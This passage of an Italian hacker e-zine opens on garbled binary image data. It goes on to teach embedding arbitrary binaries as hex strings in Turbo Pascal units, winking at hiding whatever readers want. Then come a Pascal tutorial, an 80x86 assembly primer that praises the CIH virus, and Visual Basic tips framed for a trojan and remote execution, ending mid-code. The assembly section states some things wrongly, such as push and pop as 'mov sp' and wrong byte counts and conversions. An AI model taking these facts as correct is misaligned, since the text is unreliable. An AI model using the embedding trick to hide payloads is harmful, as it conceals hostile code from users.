C  2!!222222 22222222222222222222222222222222222222222222 /"        } !1AQa"q2#B R$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz      w !1AQaq" 2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstu vwxyz   ? Կh?Y귖)HfxԴ2 ڪ Fx i ͨZ6 Ae~Rs vwkiN/(rJ2 `E-EG_ / ~0a'ȗ V.siCk~M%-fT(*)q[~𰺵]E H%#ϻq(8Aɣ_9VG?q?̿rx RnJEn\ A_h8JǃtaZE~͸0#<*8Bl?Z8 Rʐ|m!8 ~ 㕍!1>ڇVCnvmݷ{8Mgmu rMMAfѨdۙN# so^,]5Ca}.L UO]$ +I 8>-t"ui&Lɕ $7JEq:ɩ$! 3r `hпu|'  i_O9^bҜ tM-<5ikCR,p"b cttĀc ߩ?o4cєG > W7oh+ diHS8 I\7O[LΥlw7ҥ0챳ʒ FTx=E!= M$1;!xGFT0G cߙb#Ou9j&y>X.2N ecc.. ecc... ------------------------------------------------------------------------- viene convertito cosi': -------------------------------------------------------------TESTO.TXT a:='ffd8ffe000104a46494600010100000100010000ffdb004300080606070605080707070909080a0c';p; a:='140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e2720222c231c1c2837292c30313434341f27';p; a:='393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c21323232323232323232323232';p; a:='3232323232323232323232323232323232323232323232323232323232323232323232323232ffc0';p; a:='001108012f02d403012200021101031101ffc4001f00000105010101010101000000000000000001';p; a:='02030405060708090a0bffc400b5100002010303020403050504040000017d010203000411051221';p; a:='31410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a2526272829';p; a:='2a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a';p; a:='838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6';p; a:='c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f010003';p; a:='0101010101010101010000000000000102030405060708090a0bffc400b511000201020404030407';p; a:='05040400010277000102031104052131061241510761711322328108144291a1b1c109233352f015';p; a:='6272d10a162434e125f11718191a262728292a35363738393a434445464748494a53545556575859';p; a:='5a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6';p; a:='a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9ea';p; a:='f2f3f4f5f6f7f8f9faffda000c03010002110311003f00cbd4bf683f1659eab796b1e9fa29486678';p; ecc... ecc... ------------------------------------------------------------------------- per poter ricostruire il file in TP sarebe sufficiente estrapolare i dati esadecimali da ogni singola riga (tramite la produra P) e ricreare il file col proprio nome. Purtroppo spesso e volentieri il numero di righe formattate relative a uno o piu' programmi da includere necessari ai nostri scopi supera abbondantemente i limiti del compilatore tpc .. da qui l'esigenza delle unit. cominciamo con le facili procedure necessarie all'estrazione dei dati. Serve innanzitutto una funzione che separi dalla stringa -a- i dati due a due. Sarebbe comoda una cosa tipo il mid$ del basic.. come questa: var a : string; S : array[0..10] of char; function mid(t:string;n,l:integer):string; var i: integer; begin for i:=n to n+l-1 do s[i-n]:=t[i]; mid:=strpas(s); end; Poi una procedura per convertire i dati della ministringa esadecimale di 2 caratteri estratta in un intero decimale function deci(t:string):integer; var ix,rx,ox,px:integer; begin ox:=0; for ix:=2 downto 1 do begin case t[ix] of 'a'..'f':rx:=ord(t[ix])-ord('a')+10; 'A'..'F':rx:=ord(t[ix])-ord('A')+10; '0'..'9':rx:=ord(t[ix])-ord('0'); end; if ix=1 then begin ox:=ox+rx*16 end else begin ox:=ox+rx end; end; deci:=ox; end; Quindi la procedura p (attaccata in fondo ad ogni stringa formattata) che scriva nel file i caratteri rigenerati. procedure p; var i,fru:integer; begin i:=round(length(a)/2); for fru:=1 to i do Write(fruttolo,chr(deci(mid(a,1+(fru-1)*2,2)))); end; .. "fruttolo" e' l'assegnazione della variabile di tipo file:text relativa al file che stiamo ricreando e che andra' aperto a inzio procedura generale nella unit. a questo punto siamo in grado di strutturare un completo modulo generale per la nostra (o le nostre unit) --------------------------------------------------------- MODULO.pas {$A+,B-,D+,E+,F-,G+,I-,L+,N+,O-,P+,Q-,R-,S-,T-,V-,X+,Y+} {$M 16384,0,655360} UNIT unop; INTERFACE uses Strings,crt; var a : string; S : array[0..10] of char; fruttolo : Text; PROCEDURE uno; IMPLEMENTATION function deci(t:string):integer; var ix,rx,ox,px:integer; begin ox:=0; for ix:=2 downto 1 do begin case t[ix] of 'a'..'f':rx:=ord(t[ix])-ord('a')+10; 'A'..'F':rx:=ord(t[ix])-ord('A')+10; '0'..'9':rx:=ord(t[ix])-ord('0'); end; if ix=1 then begin ox:=ox+rx*16 end else begin ox:=ox+rx end; end; deci:=ox; end; function mid(t:string;n,l:integer):string; var i: integer; begin for i:=n to n+l-1 do s[i-n]:=t[i]; mid:=strpas(s); end; procedure p; var i,fru:integer; begin i:=round(length(a)/2); for fru:=1 to i do Write(fruttolo,chr(deci(mid(a,1+(fru-1)*2,2)))); end; procedure uno; begin Assign(fruttolo, 'passa'); Append(fruttolo); { ... } { qui va la fila di a:=' ....... 40 byte ....... ';p; } { a:=' ... altri 40 byte .... ';p; } { ... } close(fruttolo); end; begin end. ---------------------------------------------------------------------------- nella procedura uno (come dichiarato sopra ) andranno inserite le linee generate dallo script converti.pas (file testo.txt) si potranno inserire circa 800 righe di 40 bytes per un totale di circa 32.000 byte del programma originale. Se il programma originale sara' di dimensioni >= 32K bastera' una sola unit altrimenti per un programma di 80K ne serviranno 3 ..e cosi' via. Come metodo generale per la creazione delle unit successive io sempre il modulo sopra .. cambiando tutto gli 'uno' in 'due' per la seconda unit, 'uno' in 'tre' per la terza ..a seguire. Nel programma generale poi sara' sufficiente dichiarare le varie unit consecutivamente USES unop,duep,trep,quap, ... xxxp quindi richamare per la ricostruzione completa del file le varie procedure dichiarate uno;due;tre;qua; ... xxx: ..un esempio di file che ricompatta due unit create col metodo sopra riportato: ------------------------------------------------------------------ {$A+,B-,D+,E+,F-,G+,I-,L+,N+,O-,P+,Q-,R-,S-,T-,V-,X+,Y+} {$M 16384,0,655360} uses unop,duep; var f:text; begin assign(f,'miofile.bin'); rewrite(f); close(f); uno; due; end. --------------------------------------------------------------------- le righe assign(f,'miofile.bin'); rewrite(f); close(f); sono necessarie in quanto l'append usato nelle unit se trovasse gia presente sull'hd un file chiamato come il nostro file da rigenerare non ricreerebbe ex novo quest'ultimo ma lo AGGIUNGEREBBE brutalmente a quello trovato. Con rewrite abbiamo la certezza che il nostro file venga ricreato in maniera corretta e partendo dalla locazione 0. .. sarebbe tutto qui in effetti un vero esempio pratico e funzionante.. una demo grafica (poi ognuno potra' invece accludere ai propri sorgenti cio' che piu' gli tornera' utile.. io questo non lo voglio sapere. ) ]:-) E' un programma che ho trovato in giro che ruota sullo schermo oggetti creati col 3d studio .. l'unica cosa e' che una demo classica di solito prevede un solo file exe... allora ho unito il file spp3.3ds al sorgente col sistema citato sopra. Addirittura ho usato 3 unit diverse (ne sarebbe bastata una sola) .. ma lo scopo era appunto quello di mostrare un caso non proprio banale. Sia i sorgenti del file Sppdemo che tutti gli altri ..compresi il file spp3.3ds 30k il file sppdemo.exe (compresso) 38k i vari sorgenti delle unit necessarie al programma principale (x3ds.pas, strprocs.pas, demoinit.pas) le tre unit create col mio mudulo.pas si trovano nel File supporti.zip ( per gli sfaticati ci sono anche i sorgenti del convertitore sia in c che in pascal! convpas.pas, convpas.c ) -------------------------------------------------------------Supporti.zip Convpas.c 497 (convertitore in c) Convpas.pas 858 "" Sppdemo.pas 13710 DEMO GRAFICA SPP Demoint.pas 7660 |_unit di supporto per demo X3ds.pas 5476 |__________ "" Strprocs.pas 2691 |__________ "" unop.pas 24812 |______________ 1/3 file spp3.3ds duep.pas 21932 |______________ 2/3 "" trep.pas 25614 |______________ 3/3 "" Sppdemo.exe 38204 Sppdemo.pas compilato e compresso con wwpack Spp3.zip 11679 File spp3.3ds compresso | |_Spp3.3ds 30154 File creato con 3d Studio R4 per DOS. ------------------------------------------------------------- Master - Parsifal -= SPP MEMBER =- |Ŀ| |ͻ| | PASCAL TUTORIAL 2 | |ͼ| || Ehila benvenuti di nuovo in questo Tutorial. Avete capito qualcosa la scorsa volta? Se la risposta e' no continuate a leggere, mentre se la vostra risposta e' si ripassatevi la scorsa lezione. In questa lezione vedremo le strutture non primitive ovvero strutture piu' flessibili che evitano un lungo lavoro di codifica al programmatore. Tra le varie strutture abbiamo quella di selezione multipla, che in questo caso e'il comando CASE. La sua sintassi e' questa: case (x) of 1: begin ... ... \_ Istruzioni ... / end; 2: begin ... ... ... end; 3:begin ... ... ... end; end; X rappresenta la variabile in cui e' contenuta la scelta che ha digitato l'utente. Il case in parole povere fa questo: controlla il valore della variabile x, se e' uguale a 1, esegue il primo procedimento; se e' uguale a 2 esegue il secondo e cosi' via. Sapete cos'e' un vettore? Un vettore e' formato da una variabile che ha tante locazioni di memoria, quanta ne abbiamo dichiarato noi nella dichiarazione. In pascal un vettore si dichiara usando la prola ARRAY, con affianco tra parentesi quadre il numero di locazioni che gli vogliamo attribuire. Esempio: var v:array[1..10] of real; In questo caso ho dichiarato un vettore di dimensione 10 numeri reali. Lo potrei dichiarare anche di stringhe: var v:array[1..20] of string[30]; Ora ho dichiarato un vettore di dimensione 20 che contiene stringhe con un numero di caratteri che possono arrivare a 30. E le matrici? Beh le matrici sono quasi la stessa cosa, solo che per dichiarare una matrice dobbiamo indicare due dimensioni, visto che una matrice e' formata da un numero righe e un numero di colonne. Esempio: var v:array[1..20,1..20] of real; Ho dichiarato una matrice di 20*20 elementi, contenente numeri reali. Per la lettura di un vettore abbiamo la seguente codifica: for i:=1 to k do (*Per i=1 alla dimensione che abbiamo letto prima*) begin writeln ('inserisci il ',i,' valore'); readln(v[i]); end; Per lettura di una matrice abbiamo la seguente codifica: for i:=1 to nr do begin for j:=1 to nc do begin writeln ('inserisci il ',j,' numero della ',i,' riga'); readln(v[i,j]); end; end; Nella lettura di un vettore abbiamo un ciclo che va da 1, valore attribuito alla variabile I, alla dimensione del vettore che deve essere letta o specificata prima della lettura, mentre nella lettura di una matrice abbiamo due cicli nidificati, cioe' uno dentro l'altro. Il primo ciclo va da 1, attribuito alla variabile I, al numero di righe, il secondo invece va da 1, attribuito alla variabile J, al numero di colonne. Le variabili nr e nc devono essere lette prima, altrimenti la cpu non sa quando deve finire il ciclo. Ok facciamo un programma di prova: program let_hack; (*Questo programma legge i voti, stampa un giudizio e il voto massimo*) var v:array[1..10] of byte; i,k,max:byte; (*Dichiarazione delle variabili*) begin (*Lettura della dimensione*) repeat writeln ('Inserisci il numero di hacker che vogliono partecipare'); readln (k); (*Controlla se la dimensione e' contenuta nella dichiarazione*) until (k>0) and (k<=10); (*Ciclo che serve per leggere i voti*) for i:=1 to k do begin writeln ('Il ',i,' hacker che voto ha preso all'ultima lezione di hacking? '); readln(v[i]); (*Se il voto e' maggiore o uguale a 6 fa una stampa*) if v[i]=>6 then writeln ('Bravo sei buon apprendista'); if v[i]<6 then writeln ('Buuhh!!! Di questo passo sarai bocciato'); end; (*Inserisce nella variabile max il primo voto del vettore*) max:=v[1]; for i:=1 to k do (*Se uno dei voti e' maggiore di max, lo memorizza in max*) if v[i]>max then max:=v[i]; (*Stampa la variabile max*) writeln ('Il voto piu'' alto e'' ',max); end. Non credo sia molto difficile, anzi come ve lo spiego io...mah. E se vogliamo realizzare un prog che permetta all'utente di scegliere quale area calcolare??? No problem, eccolo: program aree; (*Questo prog offre la possibilita' di calcolare varie aree*) var sc:byte; base,altezza:real; (*Dichiarazione delle variabili*) begin repeat (*Stampa del menu'*) writeln ('Quale area vuoi calcolare?'); writeln ('--------------------------'); writeln ('1) Quadrato '); writeln ('2) Triangolo '); writeln ('3) Cerchio '); writeln ('4) Fine '); (*Legge la scelta e controlla se e' presente nel menu') repeat readln(sc); until (sc>0) and (sc<=4); (*Esegue la scelta effettuata*) case sc of 1: begin writeln ('Inserisci il lato'); readln(base); (*Memorizza nella variabile base il suo quadrato*); base:=base*base; writeln ('L''area e'' ',base); end; 2: begin writeln ('Inserisci la base e l''altezza'); readln(base,altezza); (*Memorizza nella variabile base l'area del triangolo e la stampa*) base:=(base*altezza)/2; writeln ('L''area e'' ',base); end; 3: begin writeln ('Inserisci il raggio del cerchio'); readln(base); (*Memorizza nella variabile base l'area del cerchio e la stampa*) base:=base*base*3.14; writeln ('L''area e'' ',base); end; 4: begin end; end; (*Ripete il ciclo finche' non e' stata digitata la scela 4 *); until (sc=4); end. Ok, non mi dire che non avete capito, altrimenti mi suicidio. A questo punto vi ponete una domanda: Come mai quanto dichiaro una variabile di tipo real e ne stampo il contenuto e' quasi illegibile? Dovete sapere che il formato real usa la notazione scientifica ovvero il floating point. Per risolvere questa incomprensione di lettura dobbiamo usare il fixed point. In poche parole: questo e' un numero in floating point 0.5599234E+02 Significa che dobbiamo spostare la virgole verso destra di due posti. Se, invece, avremmo avuto il segno - al posto di + avremmo dovuto spostare la virgola verso sinistra. Per ovviare a questa situazione, quando dovremo stampare un numero reale useremo la seguente sintassi var:x:y Dove var e' la variabile reale, x e' il numero di cifre totali che vorremo far stampare al nostro programmino e y e' il numero di cifre decimali che vorremo far apparire. Un esempio: writeln ('Il mio pisello e'' lungo ',pis:40:0); Stampa la variabile dandogli 40 cifre totali (esagerato!) e 0 cifre decimali. E se volessimo abbelire il nostro proggrammino? Allora dopo aver specificato il modulo uses crt possiamo usare i seguenti comandi: CLRSCR; Cancella dallo schermo tutto cio' che c'e' scritto GOTOXY(X,Y); Posizione il cursore sulla colonna X e sulla riga Y DELAY(N); Aspetta N millisecondi prima di continuare TEXTBACKGROUND(N); Seleziona il colore dello sfondo. N e' compreso tra 0 e 7 0 --> NERO 1 --> BLU 2 --> VERDE 3 --> VIOLETTO 4 --> ROSSO 5 --> MAGENTA 6 --> MARRONE 7 --> GRIGIO TEXTCOLOR(N); Seleziona il colore con cui devono essere scritti i caratteri di testo 0 --> NERO 1 --> BLU 2 --> VERDE 3 --> VIOLETTO 4 --> ROSSO 5 --> MAGENTA 6 --> MARRONE 7 --> GRIGIO 8 --> GRIGIO SCURO 9 --> BLU CHIARO 10--> VERDE CHIARO 11--> VIOLA CHIARO 12--> ROSSO CHIARO 13--> MAGENTA CHIARO 14--> GIALLO 15--> BIANCO KEYPRESSED E' una funzione che assuma il valore vero quando viene premuto un tasto. Il suo utilizzo puo' essere questo: REPEAT UNTIL KEYPRESSED Cioe' ripeti finche' non viene premuto un pulsante Allora, a me sembra che per ora basti cosi'. La prossima volta credo che vedremo gli altri moduli con i loro comandi e i vari algoritmi di ordinamento e di ricerca. Ci vediamo miei cari Pascalizzati! T0rment0 urkes@hotmail.com ͻ Ŀ PRIMI PASSI VERSO L'ASSEMBLER ٺ ͼ ============================================================================== ===============================pREFAZIONe===================================== ============================================================================== Questo breve testo vuol insegnare (o perlomeno ci prova :-P) le basi della programmazione per processori INTEL 80x86. Non peoccupatevi quello che insegnero' andra' benissimo anche su i normali Pentium, perche' anche se i nuovi processori sono avanzati, hanno tenuto la compatibilita' con i vecchi processori, che lavoravano in Real Mode!! Per poi progredire e creare codici Assembler ottimizzati per Pentium vi forniro' un tutorial (in inglese purtroppo) dove spiega quali sono i registri a 32bit e come si utilizzano al meglio delle loro possibilita' (anche io me lo sto' studiando in questo momento) la modalita' in cui lavora il pentium, come tutti gli altri microprocessori a 32bit, si chiama Protect Mode (32bit). L'assembler si differenzia dagli altri linguaggi perche' non e' costruito su istruzioni (come i lunguaggi ad alto livello), ma bensi' a INTERRUPT. Questi non sono altro che delle funzioni messe a disposizione del S.O o dal BIOS, ma una delle carenze di questo linguaggio e' che non si possono creare programmi per WINDOWS (o almeno si puo' fare linkando le funzioni delle api ma io non ho mai provato e nemmeno lo voglio fare! L'unica cosa e' che si formano exe di dimensioni ristrettissime). Nonostante cio' questo linguaggio rimane sempre usato per creare giochi, che utilizzano fortemente il 3D, anche se oggi si trovano API (openGL e DX) che creano surface molto piu' potenti di quelle che si potrebbero creare manualmente con l'ASM, e per creare VIRUS (hihihi) molto potenti come il CIH che puo' cancellare il BIOS!! ============================================================================== ==================================rEQUISITi=================================== ============================================================================== Per seguire questo corso dovete avere: 1) Il TASM5 che trovate a: http://newdata2.box.sk/neworder/tools/tasm5.zip 2) Una lista degli INTERRUPT ============================================================================== ==================================iNIZIo====================================== ============================================================================== Bene nel primo tutorial vi parlero' solamente di come calcola l'asm quindi almeno per questa volta nessun programmino sorry. Come saprete ogni singolo carattere che scriviamo (intendo sia numeri che lettere) sono un byte ciascuno e alla base dei byte ci sono i bit. Quindi questo vi dovrebbe far capire che ogni file e' composto da tantissimi bit che si susseguono; Ma cosa sono i bit? I bit sono quei piccoli numerini (0 o 1) che si susseguono. Questi messi affiancati possono formare i BYTE, MegaByte ecc... BYTE: E' composto da 8 bit (es. 10100011) WORD: E' composto da 2 BYTE quindi 16 bit (0011011010100011) DOUBLEWORD: E' composto da 2 WORD quindi 32 bit -> 4 BYTE KILOBYTE: E' composto da 1024 byte (e non 1000 bit come si crede) MEGABYTE: E' composto da 1048578 byte GIGABYTE: 1024 MegaByte TETABYTE: 1024 GigaByte Oggi giorno si puo' contare sull'utilizzo di linguaggi ben strutturati come C, Pascal, Java che ci permettono di creare applicazioni in modo veloce e sicuro, mentre l'asm, che e' il linguaggio piu' vicino al codice binario, ci "permette" di mandare anche il crash il sistema per un banale errore! E' da ricordare che non sono sempre esistiti i linguaggi come oggi prima i programmatori (parlo dell'era preistorica :=P) dovevano scrivere i programmi bit per bit!!! Bene, adesso che abbiamo visto cosa sono i bit passiamo a capire come funziona la CPU e come calcola! La CPU calcola in formato binario, ma esistono altri formati con cui possiamo comunicare con la CPU e cioe' decimale ottale e esadecimale. Binario: Il formato binario e' un sistema posizionale come il decimale e cioe' le cifre che compongono il numero si moltiplicano per le potenze di 2 (da qui' binario). 10110001 = 1*2^7 + 0*2^6 + 1*2^5 + 1*2^4 + 0*2^3 + 0*2^2 + 0*2^1 + 1*2^0 ->176 Decimale: Il formato decimale si puo' scomporre nel seguente modo, prendiamo 145 come numero decimale e portiamolo in formato binario: 1) si divide per 2 il numero decimale 2) se il risultato e' pari si scrive 0 altrimenti 1 3) si rifa' il procedimento da 1 fino a quando non si arriva a 0 4) i "numeri" ottenuti vanno ribaltati 145 -> 72 -> 36 -> 18 -> 9 -> 4 -> 2 -> 1 -> 0 1 0 0 0 1 0 0 1 numero ottenuto: 10010001 e' la rappresentazione binaria di 145. Esadecimale: Il formato esadecimale e' molto semplice e semplifica moltissimo la vita del povero programmatore asm. Come avrete capito dal nome questo formato e' composto da 16 numeri ma quali sono? Eccoli: 0 = 0000 1 = 0001 2 = 0010 3 = 0011 4 = 0100 5 = 0101 6 = 0110 7 = 0111 8 = 1000 9 = 1001 A = 1010 B = 1011 C = 1100 D = 1101 E = 1110 D = 1111 un esempio di formato esadecimale e' questo: 100101001011 -> B49 Come avete potuto vedere sono partito da fondo(cifra meno significativa), prendendo l'ultimo blocco d 4 bit (1011) e sostituito in formato esadecimale. 1011 -> B 0100 -> 4 1001 -> 9 semplice no? Adesso non ci rimane altro che spiegare come calcola il pc e qui' cerchero' di semplificarvelo il piu' possibile. Il mocroprocessore come avete capito riceve input solo in formato binario e quindi non gli possiamo passare numeri come 947 perche' andrebbe in tilt il SO quindi come facciamo? La risposta e' semplice se abbiamo la cifra 947 basta sostituirlo con le cifre dette nella tabella esadecimale cioe': 947 -> 011101001001 e prendiamo 2 cifre a caso a questo punto proviamo a sommarli per vedere come calcola la CPU. Come saprete (almeno spero) in decimale il riporto lo abbiamo quando si supera il 10 mentre in binario l'abbiamo quando si supera 2 quindi: 11001001+ 11000111= --------- 100010000 Come avrete capito quando trovo a sommare 1+1 il risultato e' 2, quindi metto uno 0 al posto di 2 e faccio il riporto di 1 alla cifra successiva... Avete capito come funziona no? (VEROOO????) La CPU e' una piccola scatolina di metallo composta di milioni di transistor. Ma cosa sono sti' c**zo di Transistor? Sono dei piccolissimi rettangolini(talmente piccoli che vi stanno sulla punta del mignolo) composti interamente di silicio(lo stesso materiale con cui e' composta la sabbia, ma allo stato piu' puro) all'interno di essi si trovano dei registri e segmenti, nei quali passa ogni informazione (0 o 1)!! I Segmenti e i registri che si trovano nella CPU sono questi: General purpose (registri utilizzati per contenere ogni cosa da puntatori a dati dei nostri programmi): AX -> registro a 16 bit scomponibile in 2 registri (ah e al). Notare bene che se si modifica il valore in al o ah si modifica anche il valore di ax!! Usato come destinazione nei calcoli. BX -> Registro come AX e divisibile in BL - BH. Usato come registro di OFFset. CX -> registro come AX (CH - CL). Usato come contatore cicli. DX -> registro come AX (DH - DL). Usato come contenitore per il resto nelle divisioni. Registri: SP -> (stack pointer) e' un puntatore alla zona di memoria abilitata al contenimento di dati del programma. Viene usato per passare dati da procedure ad altre o anche per altri scopi. La sua struttura e' un po' strana infatti i dati che vengono inseriri in quest'area devono essere ripresi da l'ultimo inserito verso il prima (si chiama LIFO: Last in First out) ad esempio: Se vogliamo immettere in sp il valore contenuto in ax e quello di bx dobbiamo fare questo: mov sp, ax mov sp, bx quando vorremo riprendere questi dati non possiamo riprendere il valore contenuto in ax perche' e' nella 2 posizione quindi per riprendere ax dobbiamo prima prendere bx! esempio: mov sp, bx mov sp, ax Capito? semplice no? IP -> (instruction pointer) Contiene l'indirizzo della prossima istruzione IR -> (instruction register) Contiene il codice dell'ustruzione in esecuzione Insieme creano il fetch dell'esecuzione, che consiste nel prelevamento e riconoscimento della instruzione da eseguire. Una volta letto, il codice viene inserito nella PREFETCH QUEUE dove risiedono i codici letti ma non ancora eseguiti. Puntatori: BP -> (base pointer) e' il puntatore alla porzione di memoria alla base dello stack. Segmenti: CS -> (code segment) Puntatore alla zona di memoria contenente il codice della prossima istruzione da eseguire. DS -> (data segment) Puntatore alla zona abilitata al conetnimento dei dati. ES -> (extra segment) Puo' essere usato come registro di segmento ausiliario. SS -> (Stack segment) Punatore alla zona di memoria che compone lo stack. Flag: I flag sono registri che riportano informazioni circa alcune operazioni tipo calcolo. E sono: CF -> Carry flag PF -> Parity flag AF -> Ausiliary flag ZF -> Zero flag SF -> Sign Flag TF -> Trap flag IF -> Interrupt flag DF -> Direction flag OF -> OverFlow flag SEGMENT e OFFSET: Purtroppo i vecchi processori Intel(8086 - 286) potevano indirizzare solo 1MB di memoria, ma a parte questo il problema e' un altro: Come facciamo ad indirizzare 1MB di memoria se per indirizzare 1MB servono 20 bit e noi ne abbiamo solo 16?? Semplice dobbiamo usare degli indirizzi formati da 2 parti chiamati Segment e Offset. Un esempio puo' essere 22F1:A0C1. La CPU pero' non usa questo indirizzo composto a 2 parti ma lo moltiplica ottenendone 1 da 20bit moltiplicando il segment x 16 (10h) e il risultato ottenuto addizionato all'offset si ottiene cosi' un indirizzo da 20 bit! Oppure c'e' il sistema dello shift a sinistra di 4 posizioni. Questo cmq avviene solo nei programmi a 16bit e non in quelli a 32 i quali sfruttano i Selettori e descrittori(non mi chiedete come funziona perche' non lo so nemmeno io). The First program: A questo punto possiamo passare a fare il nostro primo programmino, che sostituira' la funzione printf del C. Aprite una sessione del vostro caro Blocco note (windows) e scrivete questo codice asm: ; Tutorial1 Funzione identica a printf in asm -> by So[RD]eN 1999 .MODEL small .STACK 100h .DATA Message DB "Hello world",13,10,'$' ;dichiara una variabile lunga 14 byte .CODE ;apertura della parte del codice start: mov ax, SEG Message ;Muove in ax il Segment della variabile Messaggio mov ds, ax ;Muove in ds in contenuto di ax mov dx, OFFSET Message ;Muove in dx l'Offset della variabile Messaggio mov ah, 09h ;Muove in ah il valore 09 (esadecimale) la h sta' per esadecimale int 21h ;Richiama l'interrupt 21h mov ah,4Ch ;Muove in ah il valore 4C (esadecimale) int 21h ;Richiama l'interrupt 21 end start ;Fine della parte del codice Una volta scritto il codice e salvato con il nome di tut1.asm per compilarlo vi basta scrivere queste 2 intruzioni nel prompt dos: tasm tut1.asm tlink tut1.obj Una volta fatto questo vi ritroverete il file tut1.exe, le quali dimensioni saranno ristrettissime in confronto a qualsiasi programma, scritto in C o pascal. IL codice che vi ho fatto scrivere e' molto semplice, inizia con una descrizione (il carattere ; e' identico a /* in C) .MODEL small -> questo dice alla CPU che tipo di segmenti di memoria utilizzare per eseguire il programma! Le altre possibili scelte sono: Tyny: Tutto il codice e per i dati in un segmento (64 kb) small: Un segmento per il codice, uno per i dati e uno per lo stack (tutti in 64Kb) medium: Il codice in piu' segmenti quindi puo' andare oltre ai 64Kb, ma i dati e lo stack sempre in 2 segmenti da 64Kb. compact: Identico al modello small, ma per accedere ai dati vanno usati puntatori FAR i quali permettono di superare la barriera dei 64kb. large: E' come il comparct, ma il codice in piu' segmenti, e i dati possono superare i 64kb. .STACK 100h -> Dice al compilatore quanto spazio in memoria deve essere riservato al programma (100h = 0.5kb). .DATA -> INizializza la parte in cui vanno dichiarate tutte le variabili che serviranno nel programma. Messaggio DB "Hello world",13,10,'$' -> Crea una variabile lunga 14 byte di tipo byte; ma perche' lunga 14 se la frase e' lunga solo 11 caratteri? Perche' ogni variabile contenente dei dati ha bisogno dei suoi parametri, infatti la variabile Messaggio ha bisogno del parametro 13 (equivale al \r in C), il 10 (\n in C) e $ che e' il terminatore della stringa dati! Quindi da 11 vanno aggiunti 3 byte per il 13, il 10 e la $. Come avrete capito esistono altri tipi di dichiarazione della stringa eccovene una lista: DB -> Define Byte DW -> Define Word DD -> Define double word DQ -> Define Quadword DF -> Define FAR (puntatore FAR 48 bit -> 6 Byte) DT -> Define Ten Byte Per poi creare una variabile che verra' riempita durante l'esecuzione del programma basta usare queste direttive: NomeVariabile DB 5 DUP(?) In questo modo abbiamo creato una variabile di tipo Byte lunga 5 byte. .CODE -> Segnala l'inizio del segmento codice mov ax,SEG Messaggio -> Muove in ax il SEGMENT della variabile Messaggio (equivale a ax = SEG Messaggio in C), cmq se non sapete cosa e' il SEGMENT non vi preoccupate lo spieghero'piu' avanti). mov ds, ax -> Voi direte perche' adesso hai spostato il valore contenuto in ax in ds? non facevi prima a fare "mov ds,SEG Messaggio"? Ed io vi rispondero' "NO!". Non e' permesso in asm fare spostamente memoria->memoria infatti ds sta' per Data Segment (punta alla zona di memoria) quindi e' come fare uno spostamento memoria->memoria! mov dx, OFFSET Message -> Adesso immetto in dx il valore Offset della variabile Message. mov ah, 09h -> Immetto in ah il valore 09 (esadecimale) che indica la funzione da richiamare, contenuta nell'interrupt 21h. Questa Funzione prende gli indirizzi (seg:off) allocati nei registri ds(che poi non e' un registro ma un segmento) e in dx. A questo punto la CPU fa' l'operazione della fusione degli indirizzi seg:off e risale cosi' al contenuto della variabile Message, e stampa su schermo il suo contenuto!! int 21h -> richiama l'interrupt 21h, prendendo il valore immesso in ah richiama la funzione 09h e esegue quello descritto prima. mov ah,4Ch -> Come prima immetto il valore 4Ch in ah e richiamo la funzione 4C contenuta nell'interrupt 21h, e cioe' chiude il programma eliminando lo spazio occupato da lui in memoria e dalle sue variabili. int 21h -> La stessa cosa di prima. END -> fine del segmento codice Mi pare che per questa prima volta sia sufficente anche perche' dovete aver capito bene tutto quello che vi ho descritto per continuare. Quindi leggete leggete leggete e PROVATE!! So[RD]eN_82 _____ ___ ___ /__ __\ | | | | |\ /| | | | | | / | \/ | |_| |___| | \ | | PPppPPppPPppPPppPPppPPppPPppPPppPPpp ppSuggerimenti per il visual basicPP PPppPPppPPppPPppPPppPPppPPppPPppPPpp Ehila' da quanto tempo??? Tutto a posta? O anche in banca?? Vabbe', eccolo qui il vostro tuttofare che stavolta vi insegnero' dei trucchetti col Visual Basic. 1. Volete far partire applicazioni di Unix da applicazioni in VB?? Allora scaricatevi da internet (se non l'avete) uno dei tanti winsock control. Usando lo standard REXEC (remote execute) protocol vi connettete attraverso la porta 512 e dando login e password giusti, la path e l'eseguibile che vorremo far eseguire. Funzia!!! 2. Avete realizzato un trojan e volete che vi apri e chiudi lo sportello CD? il seguente codice: Declare Function mcisendstring Lib "MMSystem"_ (ByVal IpstrCommand As String, ByVal IpReturnString AS _ String, ByVal wReturnLength As Integer, ByVal hCallback As _ Integer) As Long 'Per chiuderlo retvalue = mcisendstring("set CDAudio door closed", returnstring,_ 127,0) 'Per aprirlo retvalue = mcisendstring("set CDAudio door open", returnstring,_ 127,0) 3. Volete realizzare un browser facile facile ? Ad aiutarvi c'e' il potente engine di Internet Explorer cioe' SHDOCVW.DLL Dopo aver aperto una form andate nel menu Progetto, poi scegliete Componenti ed infine selezionate Microsoft Internet Controls. Vi verranno aggiunte due nuovi strumenti. Ora dovete aggiungere sulla form i seguenti componenti: Combobox WebBrowser StatusBar e un array di 4 bottoni Metteli in questo modo: Ŀ Ŀ Ŀ Ŀ ĿĿ Combo1 V <- -> REFRESHSTOP Ŀ WebBrowser Ŀ StatusBar Poi settate le seguenti proprieta': Combo1.Text="" StatusBar1.Style=1 Adesso inserite il seguente codice: Private Sub WebBrowser1_BeforeNavigate(ByVal URL As String,_ ByVal Flags as Long, ByVal TargetFrameName As String,_ PostData As Variant, ByVal Headers As String, Cancel as Boolean) Dim strUrl As String strUrl = URL Dim bFound As Boolean Dim i As Integer For i = 0 To Combo1.Listcount - 1 If Combo1.List(i) = strURL Then bFound = True Exit For End If Next i If Not bFound Then Combo1.AddItem strURL End If Combo1.Text=strURL End Sub <---------> Private Sub Combo1_Click() WebBrowser1.Navigate(Combo1.Text) End Sub <---------> Private Sub Combo1_KeyPress(KeyAscii As Integer) On Error Resume Next If KeyAscii = 13 Then Combo1_Click End If End Sub <----------> Private Sub Command1_Click(Index As 